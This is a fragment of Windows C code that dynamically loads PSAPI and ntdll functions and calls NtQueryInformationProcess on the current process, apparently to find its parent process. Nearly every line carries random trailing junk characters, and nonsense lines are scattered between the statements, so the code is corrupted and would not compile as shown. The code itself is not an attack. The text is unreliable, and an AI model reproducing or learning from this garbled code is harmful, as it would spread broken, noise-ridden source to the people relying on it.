ULONG UniqueProcessId; 5Eq_L
ULONG InheritedFromUniqueProcessId; \wTWhr0
} PROCESS_BASIC_INFORMATION; HSTtDTo
hGPjH=^EM
PROCNTQSIP NtQueryInformationProcess; S:Hg
=|R
9X!OQxmg
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $PNR?
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; {Bu^%JEn
>ztv3^w
HANDLE hProcess; uYV#'%
PROCESS_BASIC_INFORMATION pbi; ).k=[@@V
_m;Y'
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); M*%iMz
if(NULL == hInst ) return 0; nL\BB&
RsY|V|<
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); y%43w4
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 'DVPx%p
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~~>D=~B0'
>YD?
pDPb/
if (!NtQueryInformationProcess) return 0; C]{43
YrA#NTB_o
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); + -U7ogs
if(!hProcess) return 0; ^G=s<